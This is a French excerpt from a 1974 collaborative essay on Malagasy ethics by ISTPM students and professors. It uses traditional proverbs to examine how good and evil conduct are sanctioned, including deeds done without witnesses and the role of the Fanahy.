Essai sur l’éthique malgache

Cet extrait est le fruit de la collaboration de quelques étudiants et professeurs de l’ISTPM (Institut Supérieur de Théologie et de Philosophie de Madagascar – l’actuelle UCM), voir Aspect du Christianisme à Madagascar, T. XIV n°9 (mai-juin 1974), 266-275. Il s’agit d’un tout début de réflexion sur l’éthique malgache.

LE BIEN ET LE MAL SUR LA TERRE

  • Les Malgaches ont cru — comme le peuple hébreu d’autrefois dont parle la Bible, avant l’annonce de la Bonne Nouvelle par le Sauveur — que l’homme de bonne conduite serait heureux, tandis que celui dont la conduite était mauvaise en subirait les conséquences. Il était évident pour eux que bonheur ou malheur ici-bas était la réponse de Dieu aux bons et aux méchants.
  • Et comment n’y auraient-ils pas cru ? Selon leur philosophie, c’est ce qui fait réellement le bien de la personne qui est déjà la règle de conduite. Aussi fallait-il absolument que ceux qui suivraient cette règle espèrent le bonheur et que ceux qui ne la suivraient pas craignent d’être frappés. Car il en va de la règle de conduite comme de la pirogue :
  • « Ceux qui se renversent ont tous les habits mouillés ».Malheur donc à qui enfreint cette règle : « Si le grèbe, en plongeant, a les yeux gonflés, c’est qu’il l’a voulu ». « Cracher, couché sur le dos, ça vous revient dessus ».
  • C’est ce qui amène les Malgaches, qui veulent conseiller quelqu’un, à lui tenir ces propos, susceptibles de le faire réfléchir : « On ne veut que ton bien, ami ! La sottise, en effet, abaisse et la sagesse élève. Aussi, sois plein de prudence ; car le remords ne vient pas avant pour conseiller, mais après pour reprocher ».
  • Mais, je veux pousser plus à fond. D’après la philosophie malgache, les ancêtres ont-ils espéré être immédiatement heureux, en cas de bonne conduite et ont-ils vraiment craint d’être frappés aussitôt pour leur mauvaise conduite ? PATIENCE ! — Voici comment répondent les ancêtres.
  • « Le bien qu’on fait, c’est de l’argent enfoui et le mal qu’on fait, c’est un malheur en suspens ». Cela veut dire que la conduite de l’homme trouve toujours sa sanction, même si celle-ci n’arrive pas sur-le-champ. Aussi, n’en soyons pas surpris, car :
  • « Il en va comme de la chasse aux sauterelles en plein soleil ce que je ne prends pas aujourd’hui, je l’aurai demain ». Tôt ou tard , qui a fait le bien doit absolument en retirer le fruit et qui a fait le mal doit voir tomber le châtiment.
  • En outre, ne retrouvons-nous pas là une célèbre parole d’Ombalahibemaso que nous connaissons déjà : « Considère la fin. Tu vas encore assez bien maintenant ; mais à la fin tu subiras la sanction, et alors, les descendants seront ruinés ».
  • Car, on dit que ce qui ne nous atteint pas nous-mêmes atteint la descendance. Alors, ne vous hâtez pas en vain, car elle est là la vie qui encore répondra : « La pleine-lune en a pour un bon moment et les jeux encore dureront longtemps » !
  • Considérez d’ailleurs que la réplique souvent ne se fait pas attendre du tout. Par exemple, si ton esprit n’est pas capable de soupeser ce que tu dois faire, n’est-ce pas fréquemment que tu vas manquer le but et être encombré de remords ?— Et s’il s’agit des soins de ta santé : Si tu ne sais pas y prêter attention, ne vas-tu pas être la proie de la maladie et aller tout bonnement à la mort ?— Si tu n’as pas soin de ton honneur et de ton droit, ne vas-tu pas être dégradé et être mis au rang des bêtes qu’on foule aux pieds ?— Et, dans la vie sociale, si tu renâcles aux activités communes, ne vas-tu pas être rejeté par ceux qui vivent avec toi, comme on le fait avec les bêtes malfaisantes ?

    — Si tu prends tes distances par rapport à l’entente mutuelle, et si tu deviens piquant comme la tige de canne à sucre, est-ce que ceux qui t’entourent ne vont pas te mépriser et s’écarter de toi ?

    — Réfléchis, car telles sont bien les réponses immédiates de la vie.

  • Soit ! Toutefois, j’approfondis mon analyse. J’admets que de mon attention dépend ce qui m’est avantageux dans ma vie (s’il n’y a pas d’imprévu) et que c’est d’après mes actions que les gens se comportent avec moi (si, encore une fois, il n’y a pas d’imprévu). Mais voici :
  • S’il s’agit, par exemple, d’hypocrisie ou de jalousie que personne ne connaît sauf moi-même, quelle est la sanction que la vie me réservera en ce cas ? — Quant aux colères contenues et aux mauvais désirs maîtrisés, présents dans le cœur seulement, quelle sera la sanction que la vie m’apportera ?— En outre, si j’ai été malin et que personne n’a surpris ni deviné le vol ou la calomnie que j’ai commis, quelle sera la sanction que me réservera la vie ?— Et si j’ai subvenu aux besoins d’un parent malheureux, et que personne n’y ait prêté attention, et si je me suis rompu l’échine pour accomplir mon devoir, sans qu’il y ait eu le moindre témoin quelle sera là encore la sanction que m’apportera la vie ?
  • Eh oui ! Soit que je rumine en moi le bien ou le mal, soit que je désire faire au grand jour, mais sans témoin, le bien ou le mal, quelle sera la sanction que m’apportera la vie ?

La vérité ne meurt pas

  • Il n’est point de peine inutile et on n’est pas quitte impunément, dit la philosophie malgache. Nous expliciterons cette pensée par la suite. Mais voici d’abord. Les Malgaches savent parfaitement que : « Ce que le Fanahy a désiré en lui-même, c’est ce qui est le vrai bien ou le vrai mal ». Pour eux, en effet : « C’est le Fanahy qui fait l’homme ».
  • Ils ont vu profond en voyant cela, car leur dire ressemblait à celui qui affirmait : « C’est du cœur que proviennent le bien et le mal ».
  • Voici ce que disent les ancêtres : « Ce sont les yeux qui sont curieux et c’est le cœur qui recueille de mauvais souvenirs ». « Le rassasiement ne résiste pas aux souvenirs ». « Une demi-mesure de miel, et c’est : le cœur qui la complète ». « On cajole l’un et on le trompe ; on fait semblant de ne pas voir l’autre, alors qu’on le chérit ».
  • Il faut bien qu’ils aient vu, à considérer les exemples pour lesquels je demandais réponse, qu’il paraît ne point y avoir de sanction pour les actes posés sans témoins et sans quelqu’un pour les soupçonner. Ils ont vu parfaitement que beaucoup, et pour ainsi dire la plupart des actes que l’homme fait en bien ou en mal restent cachés et inaperçus. « La manière dont le chien est couché, beaucoup la voient ; mais le frétillement de sa queue, on ne la perçoit pas ».
  • Surtout que les Malgaches sont des gens qui savent excellemment arranger leur comportement pour ne pas surprendre ni choquer. En effet, les ancêtres se sont bien aperçus que tout se passe comme s’il n’y avait pas réellement de sanction en cette vie pour les actions cachées et non remarquées. Alors, pourquoi ont-ils cru que personne ne se fatigue vainement et que personne ne s’en sort quitte ? Ou bien, pensaient-ils à d’autres sanctions auxquelles ils s’attendaient ?

Travail réalisé avec la collaboration de :

Adrien RAVELO, Basilide RAOELISON, Félix de Valois RAJAONARIVELO, Jules-Paul RAKOTONJANAHARY, Jean-Germain RAJOELISON, Julien-Marcel RAMAROSON, Pascal RAZAFINDRANDRETSA, Raymond RAKOTOMANANA, Bruno HUBSCH, Raymond SAINT-JEAN.

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